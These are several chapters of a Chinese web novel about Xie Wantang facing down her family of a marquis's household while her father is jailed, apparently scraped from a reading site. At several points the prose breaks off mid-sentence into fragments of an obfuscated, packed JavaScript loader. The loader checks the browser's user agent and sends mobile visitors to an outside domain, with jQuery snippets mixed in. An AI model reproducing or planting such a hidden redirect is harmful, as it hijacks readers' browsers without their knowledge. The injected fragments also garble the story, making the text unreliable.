“谢晚棠,这就是你的教养?” “我的教养,不劳谢大公子操心,有那个工夫,谢大公子还是先操心操心自己的教养吧。有些事情,在你们那里是过去了,可在我这却过不去,旧账之所以被重提,那是因为从来没被妥善的处理过,我被囚禁十几年,你只说我心里有怨,却未说一句愧疚,你拿教养拿名门闺秀压我,劝我大度,慷我之慨,全你所求,你以为你是谁?” “你……小肚鸡肠,不可理喻。” “我不原谅你们,就是小肚鸡肠,就是不可理喻,错做事的人如此理直气壮,这又可理喻到了哪?” “你……” “若是谢大公子没有其他事,那就请回吧,天岚,送客。” 谢晚棠冷着脸吩咐。 她清楚,谢怀鸣此番前来,绝不是为了跟她说什么原谅不原谅,过去不过去的那点事的。 这只是个开场。 让她原谅,之后的,才是谢怀鸣所求。 懒得听谢怀鸣废话,索性推一把,激一激他,也省些口舌,保护些耳朵。 果然,听着谢晚棠的话,谢怀鸣的脸色就又变了。 他强忍着火气开口。 “我知道,灾星一事,对你造成了不小的伤害,你闹,你打,你骂,你抱怨,都是情理之中的事,我不怪你。 只是晚棠,一笔写不出两个谢字来。 我们都是永昌侯府的一份子,一荣俱荣,一损俱损,一旦永昌侯府出事,谁也落不到好。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853568|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 包括你。 你应该识大体一些,去京兆府告诉众人,爹从来没有苛待过你,更没有起过杀你之心,今日马场后山的一切,都是谢龄所做,是谢龄与你有恩怨龃龉,他才做了这般安排,爹是无辜被牵累其中的。 只有这样,爹才能全身而退,侯府也才能从麻烦中抽身。” 谢怀鸣的如意算盘打的响。 只可惜,谢晚棠压根不吃这一套。 “谢大公子怎么不过去说,是你与我有旧怨,是你安排了马场后山的一切,想借机杀我?这样,以你之命,换爹平安,换侯府周全,比推个下人出去更有说服力,更能让人信服,效果也更好。” “你……” “怎么,谢大公子受不了这个委屈吗?那你受不了的委屈,又凭什么让我来受?” 上辈子,谢晚棠已经受过太多委屈了。 可当时沈嬷嬷在谢家手上,她受人掣肘,她没的选,她只能忍。 现在—— 他们凭什么? 血脉?亲情?一家人? 多可笑啊! 看着谢怀鸣,谢晚棠冷嘲,“更何况,谢大公子以为自己的伎俩,有多高明吗?你以为齐王,以为江大人和沈大人,以及宫里那位,全都是酒囊饭袋,是草包吗?由着你怎么说怎么是?能被你**于股掌之中?能被你耍的团团转?你看不起谁呢?” 谢怀鸣气的厉害,他胸口也不禁一阵阵起伏。 死死的盯着谢晚棠,半晌,他才开口。 “行。” 他咬牙切齿道。 “你不想救爹,不想救侯府,那我也不逼你,那我问你,宁儿在哪?” “谢大公子问错人了。” “你不用否认,虽然没有证据,但我可以确定,宁儿就是在你手上,你糊弄得了别人,糊弄不了我,咱们也没必要兜圈子。” 深呼了一口气,谢怀鸣语气稍软。 他继续。 “你与宁儿是双生姐妹,一母同胞,这世上没有比你们两个更亲近的人了。她是做了些蠢事,伤了你的心,可你现在好好的,什么事都没有,反倒是她,脸毁了,清白没了,还被官府通缉,情况堪忧,她已经够惨了。 你也该放过她了。 你把她交出来,撤掉京兆府的报案。 作为回报,我会补偿你这些年受的苦,我可以为你寻一门好的亲事,再为你准备一份丰厚的嫁妆,我可以让你风风光光的出嫁,日后,我也会做你的靠山,让你安乐无忧。 如何?” 谢怀鸣一脸慷慨大气的姿态。 谢晚棠听着,却忍不住看向他,嘲弄的大笑。 “如何啊?” 呢喃着这几个字,下一瞬,谢晚棠脸上的笑意骤然收敛,她厉声开口…… 第107章 扔出去 “天岚、天月,把谢大公子扔出去。” 谢怀鸣没想到谢晚棠会如此,他微微怔愣,这瞬间,天岚、天月已然动了手。 谢怀鸣自小习武,尤善骑射,他的功夫,在军中即便说不上顶尖,但也不差,可眼下,被天岚、天月联手攻击,他被压制的厉害。 他所有的招数,似乎一早就都被看破了。 攻击无力。 防守无用。 在她们两个人面前,他仿佛脆弱的不堪一击。 这种感觉,让谢怀鸣心中不喜。 谢晚棠这是从哪找来的下人?功夫怎么会这么好? 谢怀鸣心里烦躁,他忍不住边后退边咆哮,“谢晚棠,我警告你,你别不识好歹。” “不识好歹?” 呢喃着这四个字,谢晚棠冷笑。 眼见着天岚、天月钳制住了谢怀鸣的肩膀,谢晚棠一步步的上前。 “我不识好歹?谢怀鸣,你说这话,不觉得可笑吗?” “你……” “你说我和谢婉宁是双生姐妹,是最亲近的人,可你怎么不说,她屡次出手,想要我的命?你说她眼下已经够惨了,可是,路是她自己走的,她的惨不是我造成的,与我何干? 你让我去撤销报案,息事宁人,凭什么? 再说亲事,再说嫁妆…… 谢怀鸣,你口口声声说,一笔写不出两个谢字来,你说我们是一家人,可是,你真把我当成一家人了吗? 我与你一母同胞,是你的亲妹妹,你为我寻一门亲事,为我筹备嫁妆,做我的靠山,这难道不是你该做的吗?什么时候,这都成了你手上的筹码?换做是谢婉宁,你会如此吗?说到底,你从没将我当一家人,你只是急于找到谢婉宁,而又没什么拿得出手的给我,也不想给我,便巧言令色糊弄人罢了。” 上辈子,已经经历的太多了,再不开窍的人也该开窍了。 谢晚棠对这一家人,从不抱希望。 自然也谈不上失望。 缓缓坐回到椅子上,谢晚棠屈指,漫不经心的敲着桌子,一下一下,闲适自在。 她冷眼看着谢怀鸣,淡淡的继续。 “你们是聪明睿智,可也别把我就当成傻子,明明想在我这得利,还摆出一副高高在上的姿态,端着一副施舍我的款儿……谁给你的脸?” “你……” “扔出去。” “你敢。” “我敢不敢,谢大公子很快就能见识了,我也劝谢大公子一句,人贵自知。你在我这,没有那么大的脸,空口白牙,也讨不来那么多的好处。当初的事,我被囚禁的十六年,不是你轻飘飘的一句话就能抹平的,我劝谢大公子真诚点,下次来,说你们那一家子如何如何无辜的时候,至少把凶手带过来,好歹也算是诚意,能遮掩几分你们的无耻。” 谢晚棠不想再听谢怀鸣废话。 一席话说完,她直接看向天岚、天月,给她们使了个眼色。 天岚、天月心领神会,丝毫不耽搁,她们拖着谢怀鸣,掀了帘子就出了屋。 屋里归于沉寂。 知棋紧张的站在谢晚棠身侧。 “小姐,大公子自来受宠,他也不是什么好相与的人,这样……真的没问题吗?” “没事。” 谢晚棠低低的应了一声。 她在谢家人眼里,一直都是灾星,就算而今无讳大师为她正了名,她和谢家人走到这一步,也已经没有回头路了。 她即便不是灾星,这一家子,也不可能真的把她当家人。 谢怀鸣也不会放过她。 是以,有没有今日这一遭,差别不大。 闹一闹,亮一亮利爪和獠牙,反而能让谢怀鸣他们心生忌惮,不敢轻举妄动。 挺好的! 谢晚棠不后悔跟谢怀鸣动手,她也没在这事上多费心思,她脑海里,都是刚刚谢怀鸣说的那句话。 谢怀鸣说—— “当年,娘生产的时候,婉宁先出生,她出生后红霞漫天,乃大吉之兆。爹当即让二叔、二婶去请大师,来帮忙测算,也就是大师进门的时候,你出生的。他说婉宁福运深厚,而你是天降灾星。” 按照谢怀鸣所说,当初去请算出来她是灾星的大师的人,是谢詹林和洛氏。 侯府上的老人不少,这点事不难查,谢怀鸣也没有说谎的必要。 她不是灾星,却被指认成了灾星! 谢詹林和洛氏—— 能干净吗? 谢晚棠眯着眼睛,想起去马场之前,在花厅时洛氏的话,还有在马场,她和谢婉瑜起冲突时,洛氏的表现,她愈发觉得,洛氏不简单。 当**,只怕跟她脱不开干系。 谢晚棠的眸子眨了眨,一股算计的光芒,一闪而过。 …… 齐王府。 入了夜,等谢詹杭入了天牢,慕枭才由天晴、天明推着回府,他们直接回了书房。 马场那头出了事,他们都回来的晚了不少。 慕枭还有许多事情要忙。 今夜,怕是也难休息了。 “天明,去泡一壶茶来,顺带着把你和天晴收集的资料,也一并拿过来,我今夜就看,明日给你们回话。” “是。” 天明应声,即刻去办。 至于天晴,则把慕枭送进书房。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853569|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 门一关上,慕枭就起了身,自顾自的到桌案后坐下。 见状,天晴快步跟过去,他压低了声音开口,“王爷,今日在马场后山,还发生了些事,之前人多,属下也就没说。” “是关于谢晚棠的?” 慕枭问的直接。 天晴微微愣了愣,随即冲着慕枭点头。 “是,属下进山的时候,谢二小姐和天月已经抓住那个叫知鸢的了,同时,还有一个黑衣人,大约是跟天月交了手,见属下过去,就急忙撤了,没能得手。而那会儿,谢二小姐正在查看后山**的地方,那些未燃尽的**碎末,是谢二小姐最先发现的。” 听着天晴的话,慕枭一点都不意外。 谢晚棠在他的梅林里,活埋了一个人,他也是后来才知道的,谢晚棠的活埋的是谢婉宁。 不止如此,天岚还在梅林里,整整守了三个时辰。 为的就是永绝后患。 谢晚棠明知道谢婉宁已死,不可能再出现在马场,那谢詹杭安排知鸢扮做谢婉宁,引诱谢晚棠进后山的计,对谢晚棠而言,根本不成立。 她之所以会进山,只有一种解释—— 她想进。 她要的,就是顺水推舟,把事情闹大。 今日马场后山的一切,即便谢晚棠不知道全部,但谢詹杭做了安排,而且是奔着要她命去的,她却是知道的。 就像在惊风诗社里,她挑选了位置从三楼一跃而下一样。 今日,她也是以身入局,铤而走险。 “王爷说的我懂,我也知道,君子不立危墙之下,为了这种人以命相搏,并不合算。可是,我被囚禁了十六年,一无钱财,二无人脉,纵有千重计,也是有心无力。以命相搏虽蠢,可身后无靠山之时,我就是自己的靠山,我能靠的也只有自己,这条路虽险,可为了有所得,我却不得不走。” 当日,谢晚棠在惊风诗社对他说的话,犹在耳畔。 一字一句,清晰至极。 慕枭的眸子不禁眯了眯,他下意识的侧头,看向墙上挂着的那幅谢晚棠的画像。 画像上,谢晚棠眉眼弯弯,笑靥如花。 可生活在那样一个糟烂的家里,她真能笑的如画上那般阳光明艳吗? 谢詹杭被关天牢。 之后如何,尚未可知,但脱一层皮,却是少不了的。 这种情况下,谢晚棠回了永昌侯府,面对着那样的一家人,又要经历什么?又能落得什么好? 慕枭抿着唇思量。 天晴瞧着他望着谢晚棠的画像出神,忍不住往前靠了靠。 “王爷,看谢二小姐看入神了?这么好看吗?” 第108章 无他意 收回思绪,慕枭抬眸瞟了天晴一眼。 那凌厉的眸光,让天晴瞬间后退两步,他耸耸肩干笑了两声。 慕枭也没兜圈子,他轻声吩咐,“通知下去,让九重暝楼那头安排人,查查当**。尤其是那个所谓的大师,看看还能不能找到。” 天晴一愣,“属下听天明说,谢二小姐说了,不用查的,王爷这是……” “不想要嘴,还是不想要命?” “嘿嘿!” 天晴又往后退了退。 眼瞅着都快退到书房门口了,他才小心翼翼的回应。 “王爷,你博览群书,应该听说过一句话,叫:戳中心事吱哇乱叫,做贼心虚连哭带闹,王爷现在这……真有点应了那话了。” “哪本书教了你这个?” “《赶考书生,爱上俏寡妇房东》。” “滚!” “得嘞,属下遵命。” 天晴笑嘻嘻的应了一声,转头就走,他脚下丝滑,丝毫不带停留的。 慕枭看着安静下来的书房,拿过手边的公文低头查看,可他脑海里,却忍不住想起天晴的话。 被戳中心事了吗? 他让人查当**,也不过是感激谢晚棠之前救他罢了,别无他意。 他也没有什么心事,会被戳中。 他没做贼,何来心虚? 慕枭心里想着,从怀里掏出那块玉佩,慢悠悠的摩挲把玩,一直到天明敲门进来,他思绪还在乱飞。 …… 桐花台。 并不知道齐王府的事,谢晚棠这头,把谢怀鸣扔出去后,天岚、天月两个就回来了。 看着谢晚棠瞧着棋谱出神,天岚不放心的开口。 “小姐,人已经扔出去了,他骂骂咧咧的走的,瞧那架势,只怕不会善罢甘休。” “那就找点事情给他做,让他消停。” 天岚、天月眼睛一亮。 原本,天岚还有些担心的,刚刚谢晚棠才吩咐她明儿去一趟景溪别院,给沈嬷嬷送东西,谢晚棠身边只留了一个天月,她怕谢怀鸣带人下黑手,谢晚棠和天月这边人手不足,应付不来。 可谢晚棠说,给谢怀鸣找点事做…… 那就安全多了。 “小姐,要怎么做啊?” 天岚目光灼灼的看着谢晚棠,急声询问。 谢晚棠也不卖关子,“天岚,你连夜出府,去一趟万仙楼。这个时辰,万仙楼的客人应该不算少,你想办法散播个消息出去,就说——永昌侯冤枉,今日马场后山的一切,都是谢龄安排的,具体怎么说你自己看着办,只要绘声绘色,让人听了起劲儿,能不断议论就成。” “啊?” 天岚有些意外。 她看着谢晚棠,有些不明所以。 “这么传消息,岂不是在为谢詹杭开脱?这不是顺了他们的意?” 谢晚棠冲着天岚笑笑,她缓缓摇头。 “为他开脱?他也配?” “那……” 谢晚棠勾唇,她没有多解释。 可她心里却是明镜似的,京城众人皆是人精,马场后山的事是谁做的,目的又是什么,大家伙儿早在隆御马场,就已经瞧清楚了,大家伙儿心知肚明。再加上铁证摆在面前,也容不得谢詹杭抵赖。这一点别管是慕枭、江厌他们,还是皇上,也都清楚。 谢怀鸣既然开口,有意将事情推到谢龄的身上,让谢詹杭脱身。 那她就先一步把事情闹大。 把这潭水搅浑。 他们永昌侯府这头的小动作越多,上面就会越不喜,自然的,扣着谢詹杭的时间,大抵就会越久。 而谢詹杭那越麻烦,谢怀鸣就会越着急为他奔走周旋…… 谢怀鸣忙起来了,自然也就腾不出手来,到她面前胡言乱语找晦气了。 再者,人心都是肉长的。 能心软! 也能心凉! 谢龄作为谢詹杭的心腹,跟在谢詹杭身边多年,为他出生入死,可一旦出了事,他也会被推出去,当替罪羊。 这事虽不大,可这等做派,难免让人心寒。 谢龄,永昌侯府那些府卫,那些豢养的府兵,还有那些死士看在眼里,心里未必都无动荡。 但凡有人心里,以为这点事,起了其他心思,那—— 就相当于她为以后铺路了。 这一步不亏。 这些事,谢晚棠没有掰开揉碎的去给天岚解释,她只是轻声回应。 “去吧,之后你就都明白了。” “是。” 天岚见问不出什么,索性也不多问,趁着时间还不算太晚,她转身出了屋,即刻去办。 …… 翌日,宫门口。 谢怀鸣、谢詹林早早的就在这边等着了。 昨日,谢怀鸣都已经安排好了,今日早朝,自会有人把事情引到谢龄的身上,从而为谢詹杭周旋开脱。哪怕皇上不尽信,一时半刻不会放了谢詹杭,但留有余地,之后,他就好再为谢詹杭安排。 总归是好的。 眼瞅着就要下朝了,谢怀鸣不免有些心急。 谢詹林看着,拍了拍他的肩膀。 “怀鸣,稳住了。” 听着谢詹林的话,谢怀鸣侧头看向他,点了点头,“二叔,我知道的,我不会自乱阵脚的。” “这就对了。” 看着谢怀鸣,谢詹林的脸上带着赞许。 “你是能成大事的人,这侯府上下,可都仰仗你呢,你爹这边的情况越是不妙,你就越得稳住了,如此,你爹才有希望,咱们侯府才有希望。” “我明白。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865771|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听了谢怀鸣的回应,谢詹林轻笑,半晌,他才又状似无意的开口询问。 “我听人说,昨日你去桐花台了?还跟晚棠发生了冲突?” 一提这事,谢怀鸣就来气。 他自打记事开始,就没受过这种**。 被谢晚棠讥讽羞辱,落了面子,被她的人,像丢垃圾一样丢出门外,那些画面,想想谢怀鸣都觉得丢人。 脸上全是冷意,他半晌都没有出声。 见状,谢詹林摇头。 “晚棠不是灾星,这对于咱们侯府而言是好事,只是,她被囚禁十几年,心里对咱们都有怨,她十几年没有接受过教导,不知礼数,不懂分寸,行事极端,下手狠厉,这也是个麻烦。等回头,还是得找机会好好的教导教导,不然,不知道她还会不会惹出其他乱子来,真闹出了什么不可收场的事,想亡羊补牢,怕是就悔之晚矣了。” “二叔说的是,是该好好教导教导。” 谢怀鸣咬牙切齿。 谢詹林将谢怀鸣的模样,全都看着眼里。 见他一点都没有为谢晚棠抱不平,要为谢晚棠调查当年之事的心思,谢詹林微微松了一口气。 不查好。 查了,又是一遭麻烦。 谢詹林正想着,就听到宫门口的方向,传来了响动。 下了朝,朝中重臣陆续而出。 谢詹林看到后,忙看向谢怀鸣,他们叔侄俩对视了一眼,没有上前,而是急忙上了马车,让小厮赶车到距离宫门口稍远些的位置。 他们静静的等。 大约过了一刻钟,马车的帘子,就被人掀开了。 两个穿着官袍的大臣坐了进来。 看到他们,谢怀鸣忙让小厮赶车,马车辚辚而行,一直到稍微偏僻的地方,确定外面没有人跟着探听,谢怀鸣这才开口询问。 “闵大人、廖大人,如何?皇上那头可信了?他可说了,何时能放我爹出来?” 谢怀鸣声音急切。 听着询问,闵大人、廖大人对视一眼,皆是摇头。 谢怀鸣的心瞬间提到了嗓子眼,“二位大人这是何意?是事情进展的不顺利吗?” “何止是不顺利,简直是越来越糟。” “越来越糟?” “是。” 闵大人沉声叹息,他对上谢怀鸣的眸子,低声回应。 “我们才提了个头,还没等为侯爷说话,皇上就已经动了怒。皇上不但斥责了我们,还让人去天牢给侯爷用了刑,杖三十,鞭三十,任何人不得再为他求情,否则关入天牢,同罪论处。眼下,大约已经开始动刑了,皇上身边的龙隐卫亲自动手,只怕……有的受了,也不知道侯爷熬不熬得住?” 谢怀鸣身子发软,简直不敢相信自己的耳朵。 “这……怎么会这样?” 第109章 意外喜 “你们没听说?” 听着闵大人询问,谢怀鸣和谢詹林对视一眼,均是摇头。 闵大人眉头紧锁,低声回应。 “昨夜,外面就已经传开了,说隆御马场后山发生的事,都是谢龄所为,说侯爷冤枉。齐王那头当即派人抓了谢龄,严刑拷问,证词连夜就已经送到宫里去了,你们一点风声都没听说?” 别的也就罢了,谢龄在不在谢家,在不在他们的看管之中…… 他们就一点都不清楚? 连替罪羊的情况都弄不清,就让他们出手救人—— 这不是害人吗? 要不是他们收手及时,要不是他们还没在皇上面前,说的太过激进,只怕他们已经栽进去了。 那可是会危及性命,甚至会危及家族的。 谢詹杭还不值得他们这么拼命。 闵大人、廖大人对视了一眼,也不愿多说。 “眼下皇上震怒,侯爷的情况不会太好,二位还是再想想其他办法吧,眼下到了年根,皇上未必会行杀戮之事,短时间内,侯爷未必会有性命之忧。是以,二位可以不求快,但一定要求稳,不然越忙越糟,那就糟了。” 只交代了这一句,他们就离开了。 独留下谢怀鸣和谢詹林两个人,在马场中沉着脸,面面相觑。 半晌,谢詹林才开口,“昨夜,你不是就已经抓住谢龄,暂时关在京西的小院里了吗?怎么会……” “是齐王。” 慕枭活阎王的名号,那可不是空穴来风,不是白叫的。 他出手,谁拦得住? 这也是为什么,当初谢詹杭会决定把谢婉宁送出去,以避慕枭的锋芒。 慕枭,的确不好惹,他们也惹不起。 想着这事,谢怀鸣的眉头不禁蹙的更紧了些,“二叔,你说齐王这么针对咱们侯府,是因为宁儿之前的事吗?” 要不然,几句流言,何至于让他这么重视,连夜行动? 哪怕只晚一夜,事情也不至于变成这样。 谢詹林抿着唇,没有回应。 的确,谢婉宁出生那日,红霞满天不假,可是,同一个屋檐下相处十几年,他还真没看出来谢婉宁哪有什么福气,哪像什么福星。 谢晚棠的灾星是假的,而谢婉宁的福星,怕也是他们一厢情愿的幻想。 就凭谢婉宁那性子,只怕还不值得慕枭如此。 说慕枭本性如此还差不多。 只是,他们大房一家子都太宠爱谢婉宁了,哪怕如今谢婉宁不在府上,是什么情况也尚未可知,这些话,他也不会当着他们的面明说。 没有必要。 …… 永昌侯府,桐花台。 谢晚棠闲着没事,就拿着绣样,练习刺绣。 绣的依旧是竹叶,知棋也反复指点过她,但大约真没有这方面的天赋,不论她怎么绣,怎么改,她绣出来的竹叶依旧丑的不像话。 几次,知棋都想接手,把那点绣活儿帮谢晚棠做了。 谢晚棠绣着折磨。 知棋在一旁看着,也折磨的厉害。 也就同样不精通女红,拿绣花针还没拿银针利落的天月,看到了跟自己一样的谢晚棠,双眼放光。 地龙烧的暖,她们主仆三个在桐花台待着,说说笑笑的,倒也惬意。 没多久,天岚就回来了。 一见天岚,谢晚棠忙将绣帕放下。 “可把东西都给沈嬷嬷了?你见到她了没有?她还好吗?脸色如何?精神头怎么样?她瘦了吗?” 谢晚棠实在担心沈嬷嬷,她一股脑问了一大堆。 她甚至忘了,天岚之前根本没见过沈嬷嬷,沈嬷嬷瘦与不瘦,天岚根本无从对比。 天岚懂谢晚棠的担忧。 微微勾唇,天岚也不跟她卖关子。 “小姐别急,奴婢见到沈嬷嬷了,她在景溪别院过的很好,她脸色很好,精神头也很不错,奴婢也问过别院的管事,他说沈嬷嬷比之前去的时候胖了些,也白了些,跟别院的人相处的也好,小姐都不必担心。” 听天岚这么说,谢晚棠悬着的心,也就放下了。 她太怕沈嬷嬷报喜不报忧了。 上辈子,她在齐王府的那些日子,沈嬷嬷也会给她写信报平安,只是,信里沈嬷嬷说她一切都好,可她死后,见到的沈嬷嬷,却是干瘦又疯癫的模样。 噩梦犹在。 她怎么可能不怕呢? 长长的舒了一口气,谢晚棠嘴角缓缓噙起一抹笑意。 “她好就好,好就好。” “小姐,沈嬷嬷那你就放心吧,奴婢跟别院的管事嘱咐了,他也会格外关照沈嬷嬷的。而且,沈嬷嬷性子极好,为人和善,她跟别院的人相处的都不错,本也不会有人欺负她,小姐安心。” “好。” 谢晚棠连连点头,这时,她就见天岚靠了过来。 谢晚棠疑惑,“怎么了?” “小姐,回京之后,奴婢听说了一件事,想来小姐应该会感兴趣。” 听着这话,谢晚棠眨了眨眼睛。 眼下,能让她感兴趣的事,除了与慕枭相关的,就是与谢詹杭相关的了。天岚的脸上,明显有点幸灾乐祸,那显然就不是与慕枭相关的事 。 “谢詹杭那边,又出状况了?” “还没有,但一定会有,而且,应该会很快。” “出什么事了?” 天岚也不再兜圈子,“今儿一早,隆御马场里,有野兽下山了。 虽说马场的人机警,野兽下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865772|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山后,他们很快就躲到了安全的地方,并且组织了人猎杀野兽,没有人员伤亡,但隆御马场的马却受了惊,还伤了两匹。其中就有皇上去马场,每次都要骑的那匹汗血宝马。 不止如此,马场里万马长嘶的雕塑,最前面的一匹马,也被猛兽撞断了一条腿。 按说这也算不得什么大事,可偏偏那万马长嘶的雕塑,是根据当今圣上的墨宝,请了大师雕刻出来的。 圣上可喜欢呢。” 原本一切好好的,可因为谢詹杭在马场后山闹的这点事,伤了马,损了雕塑,惊了人,有了一场无妄之灾,在年根下多了个不好的兆头…… 皇上能开心才怪,能放过谢詹杭才怪。 “真的?” 谢晚棠没想到,马场那头还有意外之喜。 没有伤到人,动静闹得还大,偏还是皇上最在意的,这简直是老天都在帮她。 年前,谢詹杭大约出不了天牢了。 年后什么样,也还是没谱的事,真若到了危急关头,保不齐谢詹杭还会像上辈子那样,用矿脉图换自己平安。 “啧!” 谢晚棠咂舌,眼睛晶亮。 矿脉图,她早就拿去给慕枭了,而放在小库房里的,是一个天大的惊喜。 她还真有些期待谢詹杭早点用矿脉图,早点发现她留下的惊喜。 一定很有意思! 心里这么想着,谢晚棠缓缓起身。 “天岚,这消息传进京多久了?外面传的很厉害吗?” “应该有一阵子了,奴婢在街上都能听到,想来即便不是人尽皆知,也差不了多少了。” “那想来主院那边,也该快听到风声了。” 谢怀鸣和谢詹林一早就出去了。 不用想也知道,他们是去查看结果,看谢龄这个替罪羊,能不能换谢詹杭平安去了。 下朝有一阵子了。 想来,他们的幻想已经破灭了。 他们会回来,跟谢夫人分享消息的,这会儿,他们指不定正烦着呢。 若是马场的消息再传过来,雪上加霜—— 一定很刺激。 嘴角上扬,谢晚棠眸里含笑,“走,咱们去主院,去给我阿娘请个安。昨日她在马场晕倒了,我也是很担心的,眼下有空,也该去关心关心了。” 请安?担心?关心? 这话,天岚、天月、知棋一个字都不信。 这会儿去主院,是去看热闹,去幸灾乐祸还差不多。 刚好,这热闹她们也想看。 “是。” 三个人齐齐应声,她们随着谢晚棠,很快就出了桐花台,直奔主院。 几乎是一道这边,一进主院的门,她们就听到了谢夫人的吼声,声嘶力竭,歇斯底里…… 第110章 心思深 “这怎么可能?” “好端端的,消息怎么会提前泄露出去?谢龄怎么就被抓了,还连夜受了审,出了口供?” “他可是侯爷啊,侯爵在身,怎么能说打就打?” “杖三十,鞭三十,他怎么受得了啊?” “怀鸣,你不是说有办法吗?你赶紧想办法啊,再这么下去,如何得了?” 谢夫人急的要命。 院里,谢晚棠听着,颇有些意外。 杖三十! 鞭三十! 她只算到了谢龄的消息传出去后,谢詹杭会被皇上不喜,算到了谢怀鸣的营救计划会落空,她倒是没想到,谢詹杭还会受刑。 上辈子因为谢詹杭,慕枭被杖则五十,罚跪三日,受伤严重。 眼下谢詹杭受刑,也算是一报还一报了。 真好! 谢晚棠心里舒坦,她加快脚步。 门口,婆子守着,见到谢晚棠过来,婆子拦在门前。 她仰着头,开口语气傲的厉害,“二小姐,夫人与二爷和大公子有事要谈,不方便见你,二小姐还是请回吧。” 谢晚棠挑眉,“你说阿娘不见我?” “是。” “连通禀都不通禀,就说阿娘不见我,什么时候,一个婆子,就能做侯府夫人的主了?这是谁教你的规矩?” “老奴……” “天岚,教教她。” 谢晚棠不给婆子辩解的机会,她直接叫了天岚。 天岚一伸手,就掐住了婆子的脖颈,她微微用力,把五大三粗的婆子提起来,一直到婆子几乎喘不上气来了,她才甩手将婆子扔开。 “咳咳咳。” 倒在地上,婆子捂着脖颈,连连咳嗽。 谢晚棠白了她一眼,掀了帘子进屋,刚好碰上要出门查看情况的谢怀鸣 。 谢怀鸣一见谢晚棠,便脸色铁青。 “你来干什么?” “兄长这话说的,这主院我不能来吗?阿娘昨日晕倒,我就惦记的紧,今儿得了空,过来探望阿娘,我一片孝心,兄长也不允许吗?昨儿兄长可说,我们是一家人的,这……怎么就变脸了?说一套做一套,兄长做人……还真是挺有一套。在官场上,兄长也如此吗?” “你……” “阿娘,我刚刚在院里,听说爹受刑了?” 越过谢怀鸣,谢晚棠直接冲着谢夫人开口,诛心的话,她是一点都不留情。 她咂舌继续。 “我早就听说,天牢的情况很糟糕,阴森森的,跟阎王殿似的,就是好人进去,也得脱一层皮。更别说是受了刑,身子有伤的了。眼下正是冬季最冷的时候,这带着一身伤,在那潮湿阴冷不见天日的地儿待着,保不齐什么时候就得发了高热。伤带着热,热拖着伤,相互影响,那可是能拖**,要人命的。” “你闭嘴。” 听不得什么死不死,什么要不要人命的话,谢夫人厉声咆哮。 她真恨不能冲上去把谢晚棠给撕了。 要不是因为她,谢詹杭何必铤而走险,在马场后山做那些安排?若不走这一步,谢詹杭又怎么会被抓,被皇上不喜,还受了刑? 这都是谢晚棠惹的祸。 她就是灾星。 谢夫人忍不住大吼,“你给我滚出去,别让我看到你,现在就滚,滚啊!” 谢晚棠见状,不但没走,反而寻了个位子坐下。 她笑盈盈的看着谢夫人。 “阿娘,人上了年纪,可得注意身子,怒大伤身,阿娘昨日就晕过一次了,若是今儿再晕,只怕会更严重。爹在牢里出不来,到了年根,府里的事又多,阿娘这个侯府的主心骨若是再倒了,那营救爹的事就更没戏了,侯府这上上下下过百口的人,也得跟着遭罪,那可不好。” 一边说着谢晚棠,谢晚棠一边看向谢怀鸣。 “兄长,你也劝劝阿娘啊,救爹你救不回来,劝阿娘还不会吗?这侯府的事,你能不能尽尽心?你这样办一样毁一样,这知道的是你无能,不知道的,怕是要以为你有心害爹,想尽早继承侯府呢,那多不好。” 这话,差点没把谢怀鸣气吐血。 “谢晚棠,你少挑事,再胡言乱语,信不信我弄死你?” “啧!” 谢晚棠咂舌。 她的目光落在谢怀鸣身上,饶有兴致的上下打量。 “兄长,你这火气够大的啊,我让你劝劝阿娘,你怎么就喊打喊杀上了?这样子,活脱脱的被人戳中了心事,恼羞成怒的样,这……真的很难让人不多想啊,阿娘,你说是吧?” “你……找死!” 谢怀鸣气的厉害,他下意识的冲上前。 天岚、天月见状,瞬时护在谢晚棠身前,拦住了谢怀鸣的去路。 谢怀鸣额上青筋直跳。 “来人……” 谢怀鸣大吼叫人。 昨日,他已经领教过天岚、天月的厉害了,知道打不过,谢怀鸣也不逞强,他即刻叫府卫进来。 双拳难敌四手,他就不信,天岚和天月还能撂倒一片府卫。 随着谢怀鸣一声令下,即刻有人进门。 一连十来个人,各个都是练家子。 